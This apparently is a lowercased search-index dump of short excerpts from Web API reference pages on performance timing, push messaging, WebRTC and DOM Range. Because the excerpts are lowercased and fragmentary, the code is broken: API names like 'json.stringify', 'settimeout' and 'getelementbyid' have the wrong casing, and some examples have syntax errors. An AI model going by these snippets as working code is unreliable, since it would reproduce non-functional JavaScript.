...performance.clearmarks(); specifications specification status comment user timing level 2the definition of 'mark()' in that specification.
... user timingthe definition of 'mark()' in that specification.
Performance: resourcetimingbufferfull event - Web APIs
bubbles yes cancelable yes interface event event handler property onresourcetimingbufferfull examples the following example sets a callback function on the onresourcetimingbufferfull property.
... function buffer_full(event) { console.log("warning: resource timing buffer is full!"); performance.setresourcetimingbuffersize(200); } function init() { // set a callback if the resource buffer becomes filled performance.onresourcetimingbufferfull = buffer_full; } <body onload="init()"> note that you could also set up the handler using the addeventlistener() function: performance.addeventlistener('resourcetimingbufferfull', buffer_full); specifications specification status comment resource timing level 1the definition of 'onresourcetimingbufferfull' in that specification.
... candidate recommendation initial definition.
PerformanceEntry.duration - Web APIs
the value returned by this property depends on the performance entry's type: "frame" - returns a timestamp indicating the difference between the starttimes of two successive frames.
...); else log("..." + properties[i] + " = not supported"); } for (var i=0; i < methods.length; i++) { // check each method var supported = typeof obj[methods[i]] == "function"; if (supported) { var js = obj[methods[i]](); log("..." + methods[i] + "() = " + json.stringify(js)); } else { log("..." + methods[i] + " = not supported"); } } } specifications specification status comment performance timeline level 2the definition of 'duration' in that specification.
... candidate recommendation performance timelinethe definition of 'duration' in that specification.
PerformanceNavigation.type - Web APIs
this interface of this property is deprecated in the navigation timing level 2 specification.
... 1 type_reload the page was accessed by clicking the reload button or via the location.reload() method.
... syntax type = performancenavigation.type; specifications specification status comment navigation timingthe definition of 'performancenavigation.type' in that specification.
PerformanceObserver - Web APIs
the performance observer's callback function will be invoked when a performance entry is recorded for one of the specified entrytypes performanceobserver.disconnect() stops the performance observer callback from receiving performance entries.
... example function perf_observer(list, observer) { // process the "measure" event } var observer2 = new performanceobserver(perf_observer); observer2.observe({entrytypes: ["measure"]}); specifications specification status comment performance timeline level 2the definition of 'performanceobserver' in that specification.
... candidate recommendation initial definition of performanceobserver interface.
PerformanceResourceTiming.connectEnd - Web APIs
the timestamp value includes the time interval to establish the transport connection, as well as other time intervals such as ssl handshake and socks authentication.
..." + properties[i] + " = not supported"); } } } specifications specification status comment resource timing level 1the definition of 'connectend' in that specification.
... candidate recommendation initial definition.
PerformanceResourceTiming.domainLookupEnd - Web APIs
if the user agent has the domain information in cache, domainlookupstart and domainlookupend represent the times when the user agent starts and ends the domain data retrieval from the cache.
..." + properties[i] + " = not supported"); } } } specifications specification status comment resource timing level 1the definition of 'domainlookupend' in that specification.
... candidate recommendation initial definition.
PerformanceResourceTiming.initiatorType - Web APIs
the value of this string is as follows: if the initiator is a element, the property returns the element's localname.
...initiatortype = not supported"); } specifications specification status comment resource timing level 1the definition of 'initiatortype' in that specification.
... candidate recommendation initial definition.
PerformanceResourceTiming.requestStart - Web APIs
the requeststart read-only property returns a timestamp of the time immediately before the browser starts requesting the resource from the server, cache, or local resource.
..." + properties[i] + " = not supported"); } } } specifications specification status comment resource timing level 1the definition of 'requeststart' in that specification.
... candidate recommendation initial definition.
PerformanceResourceTiming.responseStart - Web APIs
the responsestart read-only property returns a timestamp immediately after the browser receives the first byte of the response from the server, cache, or local resource.
..." + properties[i] + " = not supported"); } } } specifications specification status comment resource timing level 1the definition of 'responsestart' in that specification.
... candidate recommendation initial definition.
PerformanceServerTiming - Web APIs
this interface is restricted to the same origin, but you can use the timing-allow-origin header to specify the domains that are allowed to access the server metrics.
... example given a server that sends the server-timing header, for example a node.js server like this: const http = require('http'); function requesthandler(request, response) { const headers = { 'server-timing': ` cache;desc="cache read";dur=23.2, db;dur=53, app;dur=47.2 `.replace(/\n/g, '') }; response.writehead(200, headers); response.write(''); return settimeout(_ => { response.end(); }, 1000) }; http.createserver(requesthandler).listen(3000).on('error', console.error); the performanceservertiming entries are now observable from javascript via the performanceresourcetiming.ser...
...vertiming property: let entries = performance.getentriesbytype('resource'); console.log(entries[0].servertiming); // 0: performanceservertiming {name: "cache", duration: 23.2, description: "cache read"} // 1: performanceservertiming {name: "db", duration: 53, description: ""} // 2: performanceservertiming {name: "app", duration: 47.2, description: ""} specifications specification status comment server timingthe definition of 'performanceservertiming' in that specification.
PerformanceTiming.connectEnd - Web APIs
this interface of this property is deprecated in the navigation timing level 2 specification.
...a connection is considered as opened when all secure connection handshake, or socks authentication, is terminated.
... syntax time = performancetiming.connectend; specifications specification status comment navigation timingthe definition of 'performancetiming.connectend' in that specification.
PerformanceTiming.domainLookupEnd - Web APIs
this interface of this property is deprecated in the navigation timing level 2 specification.
...if a persistent connection is used, or the information is stored in a cache or a local resource, the value will be the same as performancetiming.fetchstart.
... syntax time = performancetiming.domainlookupend; specifications specification status comment navigation timingthe definition of 'performancetiming.domainlookupend' in that specification.
PerformanceTiming.domainLookupStart - Web APIs
this interface of this property is deprecated in the navigation timing level 2 specification.
...if a persistent connection is used, or the information is stored in a cache or a local resource, the value will be the same as performancetiming.fetchstart.
... syntax time = performancetiming.domainlookupstart; specifications specification status comment navigation timingthe definition of 'performancetiming.domainlookupstart' in that specification.
PerformanceTiming.fetchStart - Web APIs
this interface of this property is deprecated in the navigation timing level 2 specification.
...this moment is before the check to any application cache.
... syntax time = performance.timing.fetchstart; specifications specification status comment navigation timingthe definition of 'performancetiming.fetchstart' in that specification.
PerformanceTiming.requestStart - Web APIs
this interface of this property is deprecated in the navigation timing level 2 specification.
... the legacy performancetiming.requeststart read-only property returns an unsigned long long representing the moment, in miliseconds since the unix epoch, when the browser sent the request to obtain the actual document, from the server or from a cache.
... syntax time = performancetiming.requeststart; specifications specification status comment navigation timingthe definition of 'performancetiming.requeststart' in that specification.
PerformanceTiming.responseEnd - Web APIs
this interface of this property is deprecated in the navigation timing level 2 specification.
... the legacy performancetiming.responseend read-only property returns an unsigned long long representing the moment, in miliseconds since the unix epoch, when the browser received the last byte of the response, or when the connection is closed if this happened first, from the server from a cache or from a local resource.
... syntax time = performancetiming.responseend; specifications specification status comment navigation timingthe definition of 'performancetiming.responseend' in that specification.
PerformanceTiming.responseStart - Web APIs
this interface of this property is deprecated in the navigation timing level 2 specification.
... the legacy performancetiming.responsestart read-only property returns an unsigned long long representing the moment in time (in milliseconds since the unix epoch) when the browser received the first byte of the response from the server, cache, or local resource.
... syntax time = performancetiming.responsestart; specifications specification status comment navigation timingthe definition of 'performancetiming.responsestart' in that specification.
PermissionStatus - Web APIs
later versions of the specification replace this with permissionstatus.state.
... event handler permissionstatus.onchange an event called whenever permissionstatus.status changes.
... example navigator.permissions.query({name:'geolocation'}).then(function(permissionstatus) { console.log('geolocation permission status is ', permissionstatus.state); permissionstatus.onchange = function() { console.log('geolocation permission status has changed to ', this.state); }; }); specification specification status comment permissionsthe definition of 'permissionstatus' in that specification.
imageWidth - Web APIs
the imagewidth read-only property of the photocapabilities interface returns a mediasettingsrange object indicating the image width range supported by the user agent.
... syntax var mediasettingsrange = photocapabilities.imagewidth value a mediasettingsrange is an object.
... specifications specification status comment mediastream image capturethe definition of 'imagewidth' in that specification.
PointerEvent.height - Web APIs
if the input hardware cannot report the contact geometry to the browser, the height defaults to 1.
... specifications specification status comment pointer events – level 2the definition of 'height' in that specification.
... pointer eventsthe definition of 'height' in that specification.
ProgressEvent.lengthComputable - Web APIs
the progressevent.lengthcomputable read-only property is a boolean flag indicating if the resource concerned by the progressevent has a length that can be calculated.
... if not, the progressevent.total property has no significant value.
... syntax flag = progressevent.lengthcomputable specifications specification status comment xmlhttprequestthe definition of 'progressevent.lengthcomputable' in that specification.
PublicKeyCredential.getClientExtensionResults() - Web APIs
all extensions are optional for the client to process them: if a browser does not know of a given extension, that will not cause any failure.
... examples var publickey = { // here are the extensions (as "inputs") extensions: { "loc": true, // this extension has been defined to include location information in attestation "uvi": true // user verification index: how the user was verified }, challenge: new uint8array(16) /* from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(16) /* from the server */, name: "jdoe@example.com", displayname: "john doe" }, pubkeycredparams: [ { type: "publ...
...ic-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { var mybuffer = newcredentialinfo.getclientextensionresults(); // mybuffer will contain the result of any of the processing of the "loc" and "uvi" extensions }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'getclientextensionresults()' in that specification.
PushEvent - Web APIs
WebAPIPushEvent
it contains the information sent from an application server to a pushsubscription.
... self.addeventlistener('push', function(event) { if (!(self.notification && self.notification.permission === 'granted')) { return; } var data = {}; if (event.data) { data = event.data.json(); } var title = data.title || "something has happened"; var message = data.message || "here's something you might want to check out."; var icon = "images/new-notification.png"; var notification = new self.notification(title, { body: message, ta...
...g: 'simple-push-demo-notification', icon: icon }); notification.addeventlistener('click', function() { if (clients.openwindow) { clients.openwindow('https://example.blog.com/2015/03/04/something-new.html'); } }); }); specifications specification status comment push apithe definition of 'pushevent' in that specification.
PushManager.registrations() - Web APIs
syntax var request = navigator.push.registrations(); return a domrequest object to handle the success or failure of the method call.
... if the method call is successful, the request's result will be an array of pushregistration objects.
... var register = navigator.push.register(); register.onsuccess = function(e) { console.log("registered new endpoint", register.result); } } } specification specification status comment push api working draft defines the pushmanager interface.
PushMessageData - Web APIs
unlike the similar methods in the fetch api, which only allow the method to be invoked once, these methods can be called multiple times.
... messages received through the push api are sent encrypted by push services and then automatically decrypted by browsers before they are made accessible through the methods of the pushmessagedata interface.
... examples self.addeventlistener('push', function(event) { var obj = event.data.json(); if(obj.action === 'subscribe' || obj.action === 'unsubscribe') { firenotification(obj, event); port.postmessage(obj); } else if(obj.action === 'init' || obj.action === 'chatmsg') { port.postmessage(obj); } }); specifications specification status comment push apithe definition of 'pushmessagedata' in that specification.
PushSubscription - Web APIs
an instance of this interface can be serialized.
... methods pushsubscription.getkey() returns an arraybuffer which contains the client's public key, which can then be sent to a server and used in encrypting push message data.
... example navigator.serviceworker.ready.then(function(reg) { reg.pushmanager.getsubscription().then(function(subscription) { subscription.unsubscribe().then(function(successful) { // you've successfully unsubscribed }).catch(function(e) { // unsubscription failed }) }) }); specifications specification status comment push apithe definition of 'pushsubscription' in that specification.
RTCDTMFSender.ontonechange - Web APIs
syntax rtcdtmfsender.ontonechange = tonechangehandlerfunction; value a function which is called when a tonechange event is sent to the rtcdtmfsender, indicating that a dtmf tone has either started playing, or if all tones have finished playing.
... example tbd specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'ontonechange' in that specification.
... candidate recommendation ...
RTCDTMFToneChangeEvent - Web APIs
the rtcdtmftonechangeevent interface represents events sent to indicate that dtmf tones have started or finished playing.
... dtmfsender.addeventlistener("change", function(event) { if (event.tone !== "") { dialstringbox.innertext += event.tone; } else { senddtmfbutton.disabled = false; } }, false); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdtmftonechangeevent' in that specification.
... candidate recommendation initial definition.
RTCDataChannel.binaryType - Web APIs
syntax var type = adatachannel.binarytype; adatachannel.binarytype = type; value a domstring that can have one of these values: "blob" received binary messages' contents will be contained in blob objects.
... var dc = peerconnection.createdatachannel("binary"); dc.binarytype = "arraybuffer"; dc.onmessage = function(event) { let bytearray = new uint8array(event.data); let hexstring = ""; bytearray.foreach(function(byte) { hexstring += byte.tostring(16) + " "; }); }; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.binarytype' in that specification.
... candidate recommendation initial specification.
RTCDataChannel: open event - Web APIs
bubbles no cancelable no interface rtcdatachannelevent event handler property onopen examples this example adds to the rtcdatachannel dc a handler for the open event that adjusts the user interface to indicate that a chat window is ready to be used after a connection has been established.
...finally, the message input box is focused so the user can immediately begin to type.
... dc.addeventlistener("open", ev => { messageinputbox.disabled = false; sendmessagebutton.disabled = false; disconnectbutton.disabled = false; connectbutton.disabled = true; messageinputbox.focus(); }, false); this can also be done by directly setting the value of the channel's onopen event handler property.
RTCDataChannel.ordered - Web APIs
the read-only rtcdatachannel property ordered indicates whether or not the data channel guarantees in-order delivery of messages; the default is true, which indicates that the data channel is indeed ordered.
... example var pc = new rtcpeerconnection(); var dc = pc.createdatachannel("my channel"); if (!dc.ordered) { // handle unordered messaging } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.ordered' in that specification.
... candidate recommendation initial specification.
RTCDataChannelEvent.channel - Web APIs
example the first line of code in the datachannel event handler shown below takes the channel from the event object and saves it locally for use by the code handling data traffic.
... pc.ondatachannel = function(event) { inbounddatachannel = event.channel; inbounddatachannel.onmessage = handleincomingmessage; inbounddatachannel.onopen = handlechannelopen; inbounddatachannel.onclose = handlechannelclose; } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannelevent.channel' in that specification.
... candidate recommendation initial specification.
RTCIceParameters.usernameFragment - Web APIs
see rtcicecandidate.usernamefragment to learn more about username fragments and their role in a connection.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtciceparameters.usernamefragment' in that specification.
... candidate recommendation initial specification.
RTCIceServer.credential - Web APIs
this is typically a password, key, or other secret.
... mypeerconnection = new rtcpeerconnection({ iceservers: [ { urls: "turn:turnserver.example.org", // a turn server username: "webrtc", credential: "turnpassword" } ] }); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtciceserver.credential' in that specification.
... candidate recommendation initial specification.
RTCIceServer.username - Web APIs
the rtciceserver dictionary's username property is a string which specifies the username to use when authenticating with the ice server being described.
... mypeerconnection = new rtcpeerconnection({ iceservers: [ { urls: "turn:turnserver.example.org", // a turn server username: "webrtc", credential: "turnpassword" } ] }); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtciceserver.username' in that specification.
... candidate recommendation initial specification.
RTCIceTransport.component - Web APIs
an rtcicecomponent of this value corresponds to the component id field in the candidate a-line with the value 1.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicetransport.component' in that specification.
... candidate recommendation initial definition.
RTCIdentityErrorEvent.loginUrl - Web APIs
the read-only property rtcidentityerrorevent.loginurl is a domstring giving the url where the user can complete the authentication.
... it can be null and is provided by the identity provider (idp).
... syntax var loginurl = event.loginurl; event.loginurl = "https://developer.mozilla.org/fakeurl"; example pc.onidpassertionerror = function( ev ) { alert("the idp requested an authentication" + " to be performed at th3 url '" + ev.url + "'."); } ...
RTCInboundRtpStreamStats.lastPacketReceivedTimestamp - Web APIs
the lastpacketreceivedtimestamp property of the rtcinboundrtpstreamstats dictionary indicates the time at which the most recently received packet arrived from this source.
... specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstreamstats.lastpacketreceivedtimestamp' in that specification.
... candidate recommendation initial definition.
RTCInboundRtpStreamStats.remoteId - Web APIs
the remoteid property of the rtcinboundrtpstreamstats dictionary specifies the id of the rtcremoteoutboundrtpstreamstats object representing the remote peer's rtcrtpsender which is sending the media to the local peer.
... specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstreamstats.remoteid' in that specification.
... candidate recommendation initial definition.
RTCInboundRtpStreamStats.trackId - Web APIs
the trackid property of the rtcinboundrtpstreamstats dictionary indicates the id of the rtcreceiveraudiotrackattachmentstats or rtcreceivervideotrackattachmentstats object representing the mediastreamtrack which is receiving the incoming media.
... specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstreamstats.trackid' in that specification.
... candidate recommendation initial definition.
RTCOfferAnswerOptions.voiceActivityDetection - Web APIs
the default value, true, indicates that voice detection should be used and that if possible, the user agent should automatically disable or mute outgoing audio when the audio source is not sensing a human voice.
... syntax var options = { voiceactivitydetection: trueorfalse }; value a boolean value indicating whether or not the connection should use voice detection once running.
... the default value, true, indicates that the user agent should monitor the audio coming from the microphone or other audio source and automatically cease transmitting data or mute when the user isn't speaking into the microphone, a value of false indicates that the audio should continue to be transmitted regardless of whether or not speech is detected.
RTCOfferOptions - Web APIs
this is useful if network conditions have changed in a way that make the current configuration untenable or impractical, for instance.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcofferoptions' in that specification.
... candidate recommendation initial definition.
RTCOutboundRtpStreamStats.lastPacketSentTimestamp - Web APIs
the lastpacketsenttimestamp property of the rtcoutboundrtpstreamstats dictionary indicates the time at which the rtcrtpsender described by this rtcoutboundrtpstreamstats object last transmitted a packet to the remote receiver.
... specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcoutboundrtpstreamstats.lastpacketsenttimestamp' in that specification.
... candidate recommendation initial definition.
RTCOutboundRtpStreamStats.remoteId - Web APIs
the remoteid property of the rtcoutboundrtpstreamstats dictionary specifies the id of the rtcremoteinboundrtpstreamstats object representing the remote peer's rtcrtpreceiver which is sending the media to the local peer for this ssrc.
... specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcoutboundrtpstreamstats.remoteid' in that specification.
... candidate recommendation initial definition.
RTCOutboundRtpStreamStats.trackId - Web APIs
the trackid property of the rtcoutboundrtpstreamstats dictionary indicates the id of the rtcsenderaudiotrackattachmentstats or rtcsendervideotrackattachmentstats object representing the mediastreamtrack which is being sent on this stream.
... specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcoutboundrtpstreamstats.trackid' in that specification.
... candidate recommendation initial definition.
RTCPeerConnection.close() - Web APIs
calling this method terminates the rtcpeerconnection's ice agent, ending any ongoing ice processing and any active streams.
... example var pc = new rtcpeerconnection(); var dc = pc.createdatachannel("my channel"); dc.onmessage = function (event) { console.log("received: " + event.data); pc.close(); // we decided to close after the first received message }; dc.onopen = function () { console.log("datachannel open"); }; dc.onclose = function () { console.log("datachannel close"); }; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.close()' in that specification.
... candidate recommendation initial specification.
RTCPeerConnection.getReceivers() - Web APIs
the order of the returned rtcrtpreceiver instances is not defined by the specification, and may change from one call to getreceivers() to the next.
... example tbd specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.getreceivers()' in that specification.
... candidate recommendation initial specification.
RTCPeerConnection.getSenders() - Web APIs
the order of the returned rtcrtpsenders is not defined by the specification, and may change from one call to getsenders() to the next.
... function setmuting(pc, muting) { let senderlist = pc.getsenders(); senderlist.foreach(sender) { sender.track.enabled = !muting; } } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.getsenders()' in that specification.
... candidate recommendation initial specification.
RTCPeerConnection.getStreamById() - Web APIs
the rtcpeerconnection.getstreambyid() method returns the mediastream with the given id that is associated with local or remote end of the connection.
... this property has been replaced with the rtcpeerconnection.getlocalstreams and rtcpeerconnection.getremotestreams properties.
... // from: https://bugs.chromium.org/p/chromium/issues/detail?id=698163&desc=5#c10 rtcpeerconnection.prototype.getstreambyid = function(id) { try { var localstreams = this.getlocalstreams(); var remotestreams = this.getremotestreams(); var i; for (i = 0; i < localstreams.length; i++) { if (localstreams[i].id == id) return localstreams[i]; } for (i = 0; i < remotestreams.length; i++) { if (remotestreams[i].id == id) return remotestreams[i]; } } catch(e) {} return null; } ...
RTCPeerConnection: identityresult event - Web APIs
note: while older versions of the webrtc specification used events to report assertions, this has been deprecated and removed from the specification.
... bubbles no cancelable no interface rtcidentityevent event handler property onidentityresult specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'identityresult' in that specification.
... candidate recommendation ...
RTCPeerConnection.remoteDescription - Web APIs
the returned value typically reflects a remote description which has been received over the signaling server (as either an offer or an answer) and then put into effect by your code calling rtcpeerconnection.setremotedescription() in response.
... var pc = new rtcpeerconnection(); … var sd = pc.remotedescription; if (sd) { alert("remote session: type='" + sd.type + "'; sdp description='" + sd.sdp + "'"); } else { alert("no remote session yet."); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.remotedescription' in that specification.
... candidate recommendation initial specification.
RTCPeerConnection: removestream event - Web APIs
you can use the rtcpeerconnection interface's onremovestream property to set a handler for this event.
... bubbles no cancelable no interface mediastreamevent event handler property rtcpeerconnection.onremovestream important: this event has been removed from the webrtc specification in favor of the existing removetrack event on the remote mediastream and the corresponding mediastream.onremovetrack event handler property of the remote mediastream.
... the rtcpeerconnection api is now track-based, so having zero tracks in the remote stream is equivalent to the remote stream being removed, which caused a removestream event.
RTCRemoteOutboundRtpStreamStats.reportsSent - Web APIs
the rtcremoteoutboundrtpstreamstats dictionary's reportssent property provides the number of sender reports (srs) the remote peer has transmitted to the local peer.
... syntax let reportcount = rtcremoteoutboundrtpstreamstats.reportssent; value an integer value which indicates the total number of rtcp sender reports so far sent by the remote peer to the local peer.
...the data in these reports is used by webrtc to fill out various fields within the statistics objects, and this property's value indicates how many times that information was shared.
RTCRtpContributingSource.source - Web APIs
syntax var sourceid = rtcrtpcontributingsource.source value an unsigned, 32-bit integer value which uniquely identifies the source of rtp packets described by this rtcrtpcontributingsource (in which case the value is a csrc identifier) or rtcrtpsynchronizationsource (the value is an ssrc identifier).
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'source' in that specification.
... candidate recommendation initial definition.
RTCRtpReceiveParameters - Web APIs
examples this example obtains the canonical name (cname) being used for rtcp on an rtcrtpreceiver.
... function getrtcpcname(receiver) { let parameters = receiver.getparameters(); return parameters.rtcp.cname; } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpreceiveparameters' in that specification.
... candidate recommendation initial definition.
RTCRtpReceiver.getStats() - Web APIs
the rtcrtpreceiver method getstats() asynchronously requests an rtcstatsreport object which provides statistics about incoming traffic on the owning rtcpeerconnection, returning a promise whose fulfillment handler will be called once the results are available.
... receiver.getstats().then(function(stats) { document.getelementbyid("lostpackets").innertext = stats.packetslost; }); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpreceiver.getstats()' in that specification.
... candidate recommendation initial specification.
RTCRtpReceiver.getSynchronizationSources() - Web APIs
the synchronization source objects add a voiceactivityflag property, which indicates if the last rtp packet received contained voice activity.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'getsynchronizationsources()' in that specification.
... candidate recommendation initial definition.
RTCRtpReceiver.transport - Web APIs
note that when bundling is in effect—that is, when the rtcpeerconnection was created with an rtcconfiguration object whose bundlepolicy is max-compat or max-bundle—multiple receivers may be sharing the same transport; in this case, all of them are using the same connection to transmit and/or receive rtp and rtcp packets.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpreceiver.transport' in that specification.
... candidate recommendation ...
RTCRtpReceiver - Web APIs
static methods rtcrtpreceiver.getcapabilities() returns the most optimistic view of the capabilities of the system for receiving media of the given kind.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpreceiver' in that specification.
... candidate recommendation initial definition.
RTCRtpSender.track - Web APIs
if no track is associated with the sender, this value is null, in which case the sender transmits nothing.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'track' in that specification.
... candidate recommendation initial definition.
RTCRtpSender.transport - Web APIs
note that when bundling is in effect—that is, when the rtcpeerconnection was created with an rtcconfiguration object whose bundlepolicy is max-compat or max-bundle—multiple senders may be sharing the same transport; in this case, all of them are using the same connection to transmit and/or receive rtp and rtcp packets.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpsender.transport' in that specification.
... candidate recommendation ...
RTCRtpSynchronizationSource.voiceActivityFlag - Web APIs
the read-only voiceactivityflag property of the rtcrtpsynchronizationsource interface indicates whether or not the most recent rtp packet on the source includes voice activity.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'voiceactivityflag' in that specification.
... candidate recommendation initial definition.
RTCRtpTransceiver.mid - Web APIs
the read-only rtcrtptransceiver interface's mid property specifies the negotiated media id (mid) which the local and remote peers have agreed upon to uniquely identify the stream's pairing of sender and receiver.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtptransceiver.mid' in that specification.
... candidate recommendation ...
RTCRtpTransceiver.receiver - Web APIs
the read-only receiver property of webrtc's rtcrtptransceiver interface indicates the rtcrtpreceiver responsible for receiving and decoding incoming media data for the transceiver's stream.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtptransceiver.receiver' in that specification.
... candidate recommendation ...
RTCRtpTransceiver.sender - Web APIs
the read-only sender property of webrtc's rtcrtptransceiver interface indicates the rtcrtpsender responsible for encoding and sending outgoing media data for the transceiver's stream.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtptransceiver.sender' in that specification.
... candidate recommendation ...
RTCRtpTransceiverInit - Web APIs
the rtcrtptransceiverinit dictionary is used when calling the webrtc function rtcpeerconnection.addtransceiver() to provide configuration options for the new transceiver.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtptransceiverinit' in that specification.
... candidate recommendation ...
RTCSctpTransport.state - Web APIs
closed the connection is closed and can no longer be used.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcsctptransport.state' in that specification.
... candidate recommendation initial definition.
RTCStats.type - Web APIs
WebAPIRTCStatstype
the string can be used to determine which of the rtcstats-based dictionaries are the foundation of the statistics object.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcstats.type' in that specification.
... candidate recommendation initial definition.
RTCTrackEvent.receiver - Web APIs
the read-only receiver property of the rtctrackevent interface indicates the rtcrtpreceiver which is used to receive data containing media for the track to which the event refers.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtctrackevent.receiver' in that specification.
... candidate recommendation initial specification.
RTCTrackEvent.track - Web APIs
syntax var track = trackevent.track; value a mediastreamtrack indicating the track which has been added to the rtcpeerconnection.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtctrackevent.track' in that specification.
... candidate recommendation initial specification.
RTCTrackEvent.transceiver - Web APIs
the webrtc api interface rtctrackevent's read-only transceiver property indicates the rtcrtptransceiver affiliated with the event's track.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtctrackevent.transceiver' in that specification.
... candidate recommendation initial specification.
RTCTrackEventInit.transceiver - Web APIs
the transceiver pairs the track's receiver with an rtcrtpsender to allow bidirectional communication.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtctrackeventinit.transceiver' in that specification.
... candidate recommendation initial specification.
Range.collapse() - Web APIs
WebAPIRangecollapse
example var range = document.createrange(); referencenode = document.getelementsbytagname("div").item(0); range.selectnode(referencenode); range.collapse(true); specifications specification status comment domthe definition of 'range.collapse()' in that specification.
... document object model (dom) level 2 traversal and range specificationthe definition of 'range.collapse()' in that specification.
... obsolete initial specification.
Range.commonAncestorContainer - Web APIs
=== 'range') { for (let i = 0; i < selection.rangecount; i++) { const range = selection.getrangeat(i); playanimation(range.commonancestorcontainer); } } }); function playanimation(el) { if (el.nodetype === node.text_node) { el = el.parentnode; } el.classlist.remove('highlight'); settimeout(() => { el.classlist.add('highlight'); }, 0); } result specifications specification status comment domthe definition of 'range.commonancestorcontainer' in that specification.
... document object model (dom) level 2 traversal and range specificationthe definition of 'range.commonancestorcontainer' in that specification.
... obsolete initial specification.
Range.compareNode() - Web APIs
WebAPIRangecompareNode
the range.comparenode() returns a constant indicating the position of the node.
... the following function can be used as replacement: function rangecomparenode(range, node) { var noderange = node.ownerdocument.createrange(); try { noderange.selectnode(node); } catch (e) { noderange.selectnodecontents(node); } var nodeisbefore = range.compareboundarypoints(range.start_to_start, noderange) == 1; var nodeisafter = range.compareboundarypoints(range.end_to_end, noderange) == -1; if ...
... specifications this method is not standard and therefore not part of any specification.
Range.createContextualFragment() - Web APIs
in the html case, if the context node would be html, for historical reasons the fragment parsing algorithm is invoked with body as the context instead.
... example var tagstring = "<div>i am a div node</div>"; var range = document.createrange(); // make the parent of the first div in the document becomes the context node range.selectnode(document.getelementsbytagname("div").item(0)); var documentfragment = range.createcontextualfragment(tagstring); document.body.appendchild(documentfragment); specification specification status comment dom parsing and serializationthe definition of 'range.createcontextualfragment()' in that specification.
... working draft initial specification.
Range.deleteContents() - Web APIs
syntax range.deletecontents() example range = document.createrange(); range.selectnode(document.getelementsbytagname("div").item(0)); range.deletecontents(); specifications specification status comment domthe definition of 'range.deletecontents()' in that specification.
... document object model (dom) level 2 traversal and range specificationthe definition of 'range.deletecontents()' in that specification.
... obsolete initial specification.
Range.detach() - Web APIs
WebAPIRangedetach
syntax range.detach(); example var range = document.createrange(); range.selectnode(document.getelementsbytagname("div").item(0)); range.detach(); specifications specification status comment domthe definition of 'range.detach()' in that specification.
... document object model (dom) level 2 traversal and range specificationthe definition of 'range.detach()' in that specification.
... obsolete initial specification.
Range.endContainer - Web APIs
syntax endrangenode = range.endcontainer; example var range = document.createrange(); range.setstart(startnode,startoffset); range.setend(endnode,endoffset); endrangenode = range.endcontainer; specifications specification status comment domthe definition of 'range.endcontainer' in that specification.
... document object model (dom) level 2 traversal and range specificationthe definition of 'range.endcontainer' in that specification.
... obsolete initial specification.
Range.endOffset - Web APIs
WebAPIRangeendOffset
syntax endrangeoffset = range.endoffset; example var range = document.createrange(); range.setstart(startnode,startoffset); range.setend(endnode,endoffset); endrangeoffset = range.endoffset; specifications specification status comment domthe definition of 'range.endoffset' in that specification.
... document object model (dom) level 2 traversal and range specificationthe definition of 'range.endoffset' in that specification.
... obsolete initial specification.
Range.getClientRects() - Web APIs
this is created by aggregating the results of calls to element.getclientrects() for all the elements in the range.
... syntax rectlist = range.getclientrects() example range = document.createrange(); range.selectnode(document.getelementsbytagname("div").item(0)); rectlist = range.getclientrects(); specification specification status comment css object model (cssom) view modulethe definition of 'range.getclientrects()' in that specification.
... working draft initial specification.
Range.selectNode() - Web APIs
WebAPIRangeselectNode
example let range = document.createrange(); let referencenode = document.getelementsbytagname('div').item(0); range.selectnode(referencenode); specifications specification status comment domthe definition of 'range.selectnode()' in that specification.
